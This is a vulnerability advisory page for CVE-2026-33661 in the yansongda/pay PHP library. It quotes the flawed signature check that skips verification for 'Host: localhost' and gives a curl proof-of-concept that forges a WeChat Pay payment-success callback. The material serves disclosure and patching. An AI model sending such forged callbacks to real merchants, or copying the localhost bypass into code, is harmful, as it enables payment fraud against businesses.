CVE-2026-33661

HIGH
2026-03-25 https://github.com/yansongda/pay
8.6
CVSS 3.1
Share

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

3
Analysis Generated
Mar 25, 2026 - 19:32 vuln.today
Patch Released
Mar 25, 2026 - 19:32 nvd
Patch available
CVE Published
Mar 25, 2026 - 19:30 nvd
HIGH 8.6

Description

## Summary The `verify_wechat_sign()` function in `src/Functions.php` unconditionally **skips all signature verification** when the PSR-7 request reports `localhost` as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a `Host: localhost` header, bypassing the RSA signature check entirely. This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment. ## Vulnerable Code **`src/Functions.php` lines 243-246:** ```php function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void { // BYPASS: Returns without any signature check if Host header is localhost if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) { return; // No signature verified! } // ... openssl_verify() only reached when Host != localhost $wechatSerial = $message->getHeaderLine('Wechatpay-Serial'); $sign = $message->getHeaderLine('Wechatpay-Signature'); $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption'); } ``` In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), `$request->getUri()->getHost()` reads the `Host` HTTP header, which is fully attacker-controlled. ## Proof of Concept ```bash curl -X POST https://merchant.example.com/payment/wechat/callback \ -H "Host: localhost" \ -H "Content-Type: application/json" \ -H "Wechatpay-Serial: any" \ -H "Wechatpay-Timestamp: 1234567890" \ -H "Wechatpay-Nonce: abc" \ -H "Wechatpay-Signature: AAAA" \ -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}' ``` `verify_wechat_sign()` returns immediately without verifying the signature. The application marks the order as paid. ## Impact - **Payment fraud**: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks - **No authentication required**: Pure network attack, zero privileges needed - **Wide reach**: Affects any application using `yansongda/pay` for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.

Analysis

The yansongda/pay PHP library contains an authentication bypass vulnerability that allows attackers to forge WeChat Pay payment notifications by including a 'Host: localhost' header in HTTP requests. The verify_wechat_sign() function unconditionally skips RSA signature verification when it detects localhost as the hostname, enabling attackers to send fake payment success callbacks that applications may process as legitimate transactions. …

Sign in for full analysis, threat intelligence, and remediation guidance.

Remediation

Within 24 hours: inventory all applications using yansongda/pay library and assess deployment architecture (reverse proxy, WAF, CDN configuration). Within 7 days: apply the available vendor patch to all affected systems and validate deployment in staging environment. …

Sign in for detailed remediation steps.

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +0.1
CVSS: +43
POC: 0

Share

CVE-2026-33661 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy